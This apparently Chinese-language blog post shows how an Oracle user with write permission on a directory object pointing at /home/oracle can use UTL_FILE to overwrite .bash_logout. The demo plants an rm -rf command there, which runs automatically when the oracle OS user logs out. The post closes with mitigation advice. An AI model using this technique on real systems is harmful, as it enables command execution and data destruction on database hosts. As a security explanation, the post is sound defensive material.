impdp/expdp等是需要建目錄進行匯入匯出的,如果oracle中建一個driectory在/home/oracle下,這樣只要有對這個directory進行write許可權的資料庫使用者,
再加上預設就有對utl_file包的execute許可權,就可以做很多事情.

以下演示:
##在/home/oracle下,建一個文字檔案
[oracle@ct6605 ~]$ touch /home/oracle/abc.txt
[oracle@ct6605 ~]$ ll /home/oracle/abc.txt
-rw-r--r-- 1 oracle oinstall 0 Oct 19 11:09 /home/oracle/abc.txt

[oracle@ct6605 ~]$ sqlplus system/system

SQL*Plus: Release 11.2.0.4.0 Production on Mon Oct 19 11:04:31 2015

Copyright (c) 1982, 2013, Oracle. All rights reserved.

Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
--在/home/oracle下建一個direcotry
SQL> create directory home_dump as '/home/oracle';

Directory created.
--啟用scott,用以測試
SQL> alter user scott account unlock;

User altered.

SQL> alter user scott identified by system;

User altered.
--授給scott對home_dump的寫許可權
SQL> grant write on directory home_dump to scott;

Grant succeeded.

SQL> conn scott/system
Connected.
--透過utl_file,修改/home/oracle/.bash_profile下的檔案,使當oracle使用者登入linux又登出時,自動執行此指令碼,此處可以操作所以oracle使用者有許可權的檔案,
這裡只是刪除一個abc.txt,如果改成刪除oracle的資料檔案加備份,後果就比較嚴重了.
SQL> DECLARE
t_fh utl_file.file_type;
begin
t_fh := utl_file.fopen('HOME_DUMP','.bash_logout','w');
utl_file.put_line(t_fh,'rm -rf /home/oracle/abc.txt');
utl_file.fclose(t_fh);
end; 2 3 4 5 6 7
8 /

PL/SQL procedure successfully completed.

SQL> exit

[oracle@ct6605 ~]$ cat .bash_logout
rm -rf /home/oracle/abc.txt
[oracle@ct6605 ~]$ exit
logout
--這裡可以看到/home/oracle/abc.txt已經被刪除了
[root@ct6605 ~]# ll /home/oracle/abc.txt
ls: cannot access /home/oracle/abc.txt: No such file or directory

可以看到,要防止此問題的發生,就要管控好directory的create,write許可權,儘量去掉public的utl_file包execute許可權.
另外順便提一下,mysql中,select ... into outfile同樣存在類似風險.

oracle中create directory建在/home/oracle下可能存在的風險

相關文章